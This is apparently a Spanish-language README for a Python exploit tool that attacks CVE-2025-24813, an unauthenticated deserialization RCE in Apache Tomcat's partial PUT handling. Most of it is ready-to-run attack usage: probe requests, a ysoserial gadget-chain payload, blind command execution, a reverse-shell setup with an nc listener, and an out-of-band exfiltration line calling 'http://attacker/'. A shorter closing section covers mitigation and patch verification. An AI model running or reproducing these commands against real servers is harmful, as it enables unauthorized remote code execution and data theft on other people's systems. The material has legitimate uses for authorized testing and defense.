PoC en Python que explota CVE-2025-24813, un RCE por deserialización en el PUT parcial de Apache Tomcat. Detecta automáticamente las variantes vulnerables, admite ejecución ciega de comandos y reverse shells.
Severidad: Crítica (CVSS 9.8) Autenticación requerida: Ninguna Afecta a: Apache Tomcat 9.0.0.M1 – 9.0.98 / 10.1.0-M1 – 10.1.34 / 11.0.0-M1 – 11.0.2 Parcheado en: Tomcat 9.0.99 / 10.1.35 / 11.0.3
Apache Tomcat admite partial PUT (carga por fragmentos mediante Content-Range).
Cuando llega un partial PUT, Tomcat almacena el cuerpo en un archivo temporal bajo:
$CATALINA_HOME/work/…/<url-path-filename>
Si la aplicación está configurada con PersistentManager + FileStore en context.xml,
Tomcat lee automáticamente los archivos *.session del mismo directorio de trabajo y los
para restaurar las sesiones.
Combinando estos dos comportamientos:
PUT /<sid>.session → escribe el payload serializado en Java en work/<sid>.session
GET / Cookie: JSESSIONID=.<sid> → Tomcat carga y deserializa el archivo → RCE
El punto inicial (.) en el valor de la cookie provoca la búsqueda de sesión por ruta absoluta
(variante B), que es la ruta que alcanza de forma fiable el archivo almacenado.
Este PoC utiliza CommonsCollections6 de ysoserial,
que funciona en Java 8–17 sin flags @jdk.internal y no depende de
sun.reflect.SerializationConstructorAccessorImpl.
ObjectInputStream.readObject()
└─ HashSet.readObject()
└─ TiedMapEntry.hashCode()
└─ LazyMap.get()
└─ ChainedTransformer.transform()
└─ InvokerTransformer → Runtime.exec(command)
curl -sI http://target:9090/ | grep -i server
# Look for: Apache-Coyote/1.1 or Apache Tomcat
curl -s -o /dev/null -w "%{http_code}" \
-X PUT "http://target:9090/test.session" \
-H "Content-Range: bytes 0-9/200" \
-H "Content-Type: application/octet-stream" \
--data-binary "AAAAAAAAAA"
# 201 Created = partial PUT enabled (vulnerable prerequisite met)
# 403/405 = partial PUT disabled (not vulnerable via this path)
python3 autopwn.py http://target:9090 --command "id"
# Vulnerable → one line shows GET=500 + "<<<< 500 = FIRED!"
# Not vuln → all lines show GET=200, no 500
[*] path=/{sid}.session PUT=201 cookie=JSESSIONID=pwn1 [A(no-dot)] GET=200
[*] path=/{sid}.session PUT=201 cookie=JSESSIONID=.pwn2 [B(dot-prefix)] GET=500 <<<< 500 = FIRED!
[*] path=/uploads/../sessions/{sid}.session PUT=409 cookie=JSESSIONID=pwn3 [A(no-dot)] GET=200
...
[+] Target is VULNERABLE! Winning variant: B(dot-prefix)
upload path : /{sid}.session
trigger : Cookie: JSESSIONID=.pwn2
| Estado | Significado |
|---|---|
| PUT 201 | Archivo almacenado en el directorio de trabajo de Tomcat |
| PUT 409 | Ruta bloqueada (traversal rechazado) |
| GET 200 | Sesión no encontrada / no deserializada |
| GET 500 | Deserialización activada → RCE |
La carga es un flujo serializado en Java binario en bruto — sin codificación URL. A diferencia de los exploits por parámetros de consulta HTTP, el payload va en el cuerpo de la petición mediante PUT, por lo que no hay una capa de codificación URL con la que lidiar:
PUT /{sid}.session HTTP/1.1
Content-Type: application/octet-stream
Content-Range: bytes 0-1274/1375
\xac\xed\x00\x05\x73\x72... (raw serialized bytes — CommonsCollections6)
La cabecera Content-Range indica una carga parcial; Tomcat escribe el cuerpo en disco
tal cual, preservando cada byte del payload serializado.
pip install requests
# Java runtime in PATH
# ysoserial.jar in current directory (or pass --ysoserial <path>)
python3 autopwn.py http://192.168.61.148:9090 --command "id"
# Build base64-wrapped command (avoids shell-splitting in Runtime.exec)
CMD='id > /usr/local/tomcat/webapps/ROOT/idout.txt'
B64=$(echo -n "$CMD" | base64 -w0)
python3 autopwn.py http://192.168.61.148:9090 \
--command "bash -c {echo,$B64}|{base64,-d}|bash"
# Fetch the result
curl http://192.168.61.148:9090/idout.txt
# Terminal 1 — listener
nc -lvnp 4444
# Terminal 2 — fire (script auto-builds the base64 revshell payload)
python3 autopwn.py http://192.168.61.148:9090 \
--revshell --lhost 192.168.61.10 --lport 4444
El script detecta automáticamente la variante A/B, se detiene tras el primer acierto e imprime la ruta ganadora para que sepas exactamente qué funcionó.
positional arguments:
target Target base URL (e.g. http://192.168.61.148:9090)
options:
--command CMD Command to execute (blind mode, default: id)
--revshell Send reverse shell instead of blind command
--lhost LHOST Listener IP (required with --revshell)
--lport LPORT Listener port (required with --revshell)
--gadget GADGET ysoserial gadget chain (default: CommonsCollections6)
--ysoserial PATH Path to ysoserial jar (default: ysoserial.jar)
--sid SID Session ID prefix for upload filenames (default: pwn)
--no-ssl-verify Disable SSL certificate verification
CVE-2025-24813 es ciego — Runtime.exec() ejecuta el comando, pero su stdout/stderr
se descartan; la respuesta HTTP solo refleja si la deserialización tuvo éxito (500)
o no (200).
Tres formas de obtener la salida:
| Método | Cómo |
|---|---|
| Archivo en el webroot | Redirigir la salida a un archivo en /…/webapps/ROOT/, obtenerlo por HTTP |
| Reverse shell | Flag --revshell — obtener una shell interactiva, ejecutar cualquier comando en vivo |
| DNS/OOB | `curl http://attacker/$(id |
| Rama | Vulnerable | Parcheado |
|---|---|---|
| 9.x | 9.0.0.M1 – 9.0.98 | 9.0.99+ |
| 10.1.x | 10.1.0-M1 – 10.1.34 | 10.1.35+ |
| 11.x | 11.0.0-M1 – 11.0.2 | 11.0.3+ |
# Check installed version
$CATALINA_HOME/bin/catalina.sh version | grep "Server version"
En $CATALINA_HOME/conf/web.xml, busca el init-param de DefaultServlet y establece:
<init-param>
<param-name>readonly</param-name>
<param-value>true</param-value>
</init-param>
O deshabilita PersistentManager en context.xml si no es necesario:
<!-- Remove or comment out: -->
<!-- <Manager className="org.apache.catalina.session.PersistentManager"> -->
<!-- <Store className="org.apache.catalina.session.FileStore"/> -->
<!-- </Manager> -->
# Partial PUT should now return 403 or 405
curl -s -o /dev/null -w "%{http_code}" \
-X PUT "http://target:9090/test.session" \
-H "Content-Range: bytes 0-9/200" \
-H "Content-Type: application/octet-stream" \
--data-binary "AAAAAAAAAA"
# Patched → 403 / 405
# Vulnerable → 201
# Re-run PoC — must not fire
python3 autopwn.py http://target:9090 --command "id"
# Patched → all GET=200, no 500
Solo para pruebas de seguridad autorizadas y fines educativos.